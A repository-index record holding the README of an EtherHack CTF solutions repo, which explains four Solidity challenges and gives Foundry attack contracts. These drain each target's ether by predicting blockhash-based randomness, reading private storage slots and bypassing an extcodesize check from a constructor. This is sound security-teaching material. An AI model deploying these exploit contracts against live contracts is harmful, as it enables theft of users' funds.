{"id":18361986,"url":"https://github.com/brivan-26/etherhack","last_synced_at":"2025-06-30T12:35:02.462Z","repository":{"id":181662959,"uuid":"667083609","full_name":"Brivan-26/EtherHack","owner":"Brivan-26","description":"EtherHack CTF solutions","archived":false,"fork":false,"pushed_at":"2023-07-20T17:47:52.000Z","size":20,"stargazers_count":6,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-03-27T09:46:25.884Z","etag":null,"topics":["ctf-solutions","ctf-writeups","foundry","solidity"],"latest_commit_sha":null,"homepage":"","language":"Solidity","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Brivan-26.png","metadata":{"files":{"readme":"REAdME.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-07-16T15:30:25.000Z","updated_at":"2024-04-25T13:09:57.000Z","dependencies_parsed_at":null,"dependency_job_id":"1b624f09-4de6-48a9-94fd-b1f625417ef2","html_url":"https://github.com/Brivan-26/EtherHack","commit_stats":null,"previous_names":["brivan-26/etherhack"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Brivan-26%2FEtherHack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Brivan-26%2FEtherHack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Brivan-26%2FEtherHack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Brivan-26%2FEtherHack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Brivan-26","download_url":"https://codeload.github.com/Brivan-26/EtherHack/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248766736,"owners_count":21158301,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ctf-solutions","ctf-writeups","foundry","solidity"],"created_at":"2024-11-05T22:35:57.656Z","updated_at":"2025-04-13T19:10:00.185Z","avatar_url":"https://github.com/Brivan-26.png","language":"Solidity","funding_links":[],"categories":[],"sub_categories":[],"readme":"# EtherHack CTF Solutions\n\u003ccenter\u003e\n    \u003cimg src=\"https://etherhack.positive.com/imgs/etherhack.jpg\" width=\"50%\"/\u003e\n\u003c/center\u003e\n\u003cbr /\u003e\n\n[EtherHack CTF](https://etherhack.positive.com) solutions ⛳️\n\n\u003e NOTE: All challenges' smart contracts code are upgraded to v0.8.20. This does not affect at all the challenges behavior\n\n## Useful commands for all challenges\n```shell\nforge compile: Compile smart contracts\nforge test: Run tests for challenges solution\nforge test -vvv: Run tests for challenges with tracers enabled (recommended for all challenges, to output the logs of the states before and after the exploit)\n```\n### Challenges \n\n0. [Azino 777](#01---azino777)\n1. [Private Ryan](#02---private-ryan) \n2. [Weel Of Fortune](#03---wheel-of-fortune)\n3. [Call me Maybe](#04---call-me-maybe)\n   \n## 01 - Azino777\n\nTo solve this challenge, we need to guess the correct input `bet` that should match a *generated random* value in order to take all the contract's balance:\n```solidity\nfunction spin(uint256 bet) public payable {\n    require(msg.value \u003e= 0.01 ether);\n    uint256 num = rand(100);\n    if(num == bet) {\n        msg.sender.transfer(this.balance);\n    }\n}\n```\nThis challenge shows the hardness of generating a **secure random number in smart contracts**. Someone checking the `rand` function implementation may think it generates a random number **while it does not**\n```solidity\n//Generate random number between 0 \u0026 max\n  uint256 constant private FACTOR =  1157920892373161954235709850086879078532699846656405640394575840079131296399;\n  function rand(uint max) constant private returns (uint256 result){\n    uint256 factor = FACTOR * 100 / max;\n    uint256 lastBlockNumber = block.number - 1;\n    uint256 hashVal = uint256(block.blockhash(lastBlockNumber));\n\n    return uint256((uint256(hashVal) / factor)) % max;\n}\n```\nStatistically saying, we have a chance of 1% to guess the correct number on each try.\u003cbr/\u003e\nAfter inspecting the function logic, we notice that all the factors contributing to generating the *random* number are constants and pre-deterministic except for `hashVal` (which is the blockhash of the last block casted to uint256). So, if we get to know the value of the `hashVal` before the calculation starts, we could easily predict the *random number* by simply doing the same calculation in advance.\u003cbr /\u003e\nFor us to predict the true number, we can simply perform in **one transaction** the calculation of the *random number* using the same `rand` logic on our own and then, invoking the function `spin` passing the value we got by our calculation. And because both operations are in the same transaction, the `hashVal` will be the same for both calculations!! Hence, increasing the chances to get the correct number to **100%**!! \u003cbr /\u003e\nAttack contract: \n```solidity\ncontract AzzinoHack {\n    Azino777 public target;\n    constructor(address payable _target) {\n        target = Azino777(_target);\n    }\n    uint256 constant private FACTOR =  1157920892373161954235709850086879078532699846656405640394575840079131296399;\n    function attack() payable external {\n        // max is always passed as 100\n        uint256 factor = FACTOR * 100 / 100;\n        uint256 lastBlockNumber = block.number - 1;\n        uint256 hashVal = uint256(blockhash(lastBlockNumber));\n\n        uint bet =  uint256((uint256(hashVal) / factor)) % 100;\n        target.spin{value: address(this).balance}(bet);\n    }\n\n    receive() external payable {}\n}\n```\n[Attack contract](./src/Azino777.sol) | [Tests](./test/Azino777.t.sol)\n\n## 02 - Private Ryan\n\nThis challenge follows the same logic as the previous one (so, we should follow the same exploit ;)). However, one factor is added to the calculation of the *random number*:\n```solidity\nuint256 blockNumber = block.number - seed;\n```\nIf we check the `Private Ryan` contract, we will notice that `seed` is a private variable, initially initialized in the constructor:\n```solidity\nuint private seed = 1;\n\n  constructor() {\n    seed = rand(256);\n  }\n```\nFor us to determine the *random number*, we should get first the value of the private variable `seed`. \u003cbr /\u003e\nThis challenge shows the importance of **understanding the meaning of variable visibility modifier**. Variable visibility is set to `private` **does not mean that no one can read the value of it**, it means that **other contracts can not access it**. Anyone outside the blockchain can easily determine which `slot` the variable's value leave in, and then query the contract's storage layout to get the `slot` value.\u003cbr /\u003e\n\u003e If you don't know the storage layout and accessing private data, I suggest [reading my previous notes about it](https://github.com/Brivan-26/smart-contract-security/tree/master/Accessing-Private-Data)\n\nIt's obvious that the `seed` variable is taking the `slot 0`, so just before calculating the *random number*, we query the `slot 0 ` to get the `seed`'s value. E.g. using the Foundry framework\n```solidity\nbytes32 seed = vm.load(address(privateRyan), bytes32(uint256(0)));\nhack.attack(uint256(seed));\n```\n[Hack contract](./src/PrivateRyan.sol) | [Tests](./test/PrivateRyan.t.sol)\n\n\u003e ***IMPORTANT NOTE***: when attempting to run the test, it may fail due to `arithmetic underflow`. That is because `block.number - seed` will generate a negative number because block.number initially is 1 when running the test, and the seed value is surely greater. Run the tests by setting the block number greater than 256. E.g: `forge test --match-path test/PrivateRyan.t.sol --block-number 500 -vvv`\n# 03 - Wheel of Fortune\n\nFrom a first look, this challenge looks like somehow we need to predict the hash of a future block:\n```solidity\nif (gameId \u003e 0) {\n    uint lastGameId = gameId - 1;\n    uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100);\n    if(num == games[lastGameId].bet) {\n        games[lastGameId].player.transfer(this.balance);\n    }\n}\n```\nWe can see that with each player comes, he checks if the last player's bet is correct and if so, the last player will be rewarded... from here comes the challenge's hint *This lottery uses blockhash of a future block, try to beat it!*. \u003cbr /\u003e\nHowever, the check we just spoke about is badly designed, and we can abuse it as follows: we know that the blockhash of the current block is always 0 (the block that contains our TX is not yet generated), so we can send two transactions in a row, and guess what... similar to the last challenge's idea, **they will be mined in the same block**. The first transaction is to set our bet, and the second is to validate our bet.\n```solidity\nfunction attack() external payable {\n    require(msg.value \u003e= 0.02 ether, \"Not enough ether to perform attack\");\n    uint bet = uint256(keccak256(abi.encodePacked(blockhash(block.number)))) % 100;\n    target.spin{value: 0.01 ether}(bet);\n    target.spin{value: 0.01 ether}(bet);\n}\n```\nAnother approach to solve the challenge is by waiting for **256 blocks** after our bet transaction, that is because according to [Solidity documentation](https://docs.soliditylang.org/en/v0.8.20/units-and-global-variables.html#block-and-transaction-properties): `blockhash(uint blockNumber) returns (bytes32): hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero`. However, this approach is harder to follow, and it requires designing a bot to keep watching the network, we will stick with the first approach (the smartest :V). \u003cbr /\u003e\n[Attack contract](./src/WheelOfFortune.sol) | [Tests](./test/WheelOfFortune.t.sol)\n\n## 04 - Call Me Maybe\n\nThe solution of this challenge won't take more than 2 lines if we know a tricky thing (as always, smart contract vulnerabilities are all tricky).\nBy inspecing the contract's code, it seems that no one can call it:\n```solidity\n    modifier callMeMaybe() {\n        uint32 size;\n        address _addr = msg.sender;\n        assembly {\n            size := extcodesize(_addr)\n        }\n        if (size \u003e 0) {\n            revert();\n        }\n        _;\n    }\n\n    function HereIsMyNumber() external callMeMaybe {\n        if (tx.origin == msg.sender) {\n            revert();\n        } else {\n            payable(msg.sender).transfer(address(this).balance);\n        }\n    }\n```\nIf we invoke the `HereIsmyNumber` function from an EOA, the check `tx.origin == msg.sender` will pass, so the transaction will revert while if we invoke it from a smart contract, the modifier `callmeMabye` will fail as well, so our transaction will revert in all cases.\u003cbr\u003e\nIt seems that no smart contract can call this contract due to the EVM check using `extcodesize`. `extcodesize` returns the bytecode size of the `_addr` account. However, there is a bypass for that. At the moment when a newly deployed contract calls another contract in its constructor, the storage root is not yet initialized, it acts as a wallet only. Hence, it does not have associated code and `extcodesize` would yield zero.\n```solidity\nconstructor(address payable _target) {\n    CallMeMaybe(_target).HereIsMyNumber();\n}\n```\nI told you we can solve it in two lines ;)\n[Attack Contract](./src/CallMeMaybe.sol) | [Tests](./test/CallMeMaybe.t.sol)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbrivan-26%2Fetherhack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbrivan-26%2Fetherhack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbrivan-26%2Fetherhack/lists"}